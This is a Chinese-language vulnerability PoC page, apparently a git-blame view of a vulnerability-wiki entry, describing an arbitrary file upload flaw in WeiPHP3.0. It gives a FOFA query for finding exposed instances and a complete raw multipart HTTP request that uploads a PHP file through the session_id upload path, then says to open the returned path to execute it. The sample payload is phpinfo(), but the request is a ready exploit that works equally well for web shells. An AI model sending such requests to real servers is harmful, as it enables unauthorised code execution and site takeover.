2022-02-20 16:14:31 +08:00
|
|
|
# WeiPHP3.0 session_id 任意文件上传漏洞
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
WeiPHP3.0 session_id 存在任意文件上传漏洞,攻击者通过漏洞可以上传任意文件
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
WeiPHP3.0
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
app="weiphp"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
登陆页面标识
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|
2022-02-20 16:14:31 +08:00
|
|
|
|
|
|
|
|
发送请求包上传文件
|
|
|
|
|
|
|
|
|
|
```php
|
|
|
|
|
POST /index.php?s=%2FHome%2FFile%2Fupload%2Fsession_id%2Fscevs8hub3m5ogla05a421hb42.html HTTP/1.1
|
|
|
|
|
Host:
|
|
|
|
|
User-Agent: Go-http-client/1.1
|
|
|
|
|
Content-Length: 831
|
|
|
|
|
Content-Type: multipart/form-data; boundary=------------------------e37a54d7d5380c9f
|
|
|
|
|
Accept-Encoding: gzip
|
|
|
|
|
|
|
|
|
|
--------------------------e37a54d7d5380c9f
|
|
|
|
|
Content-Disposition: form-data; name="download"; filename="882176.php"
|
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
|
|
<?php
|
|
|
|
|
phpinfo();
|
|
|
|
|
|
|
|
|
|
--------------------------e37a54d7d5380c9f--
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|
2022-02-20 16:14:31 +08:00
|
|
|
|
|
|
|
|
获取目录后访问回显的 path
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|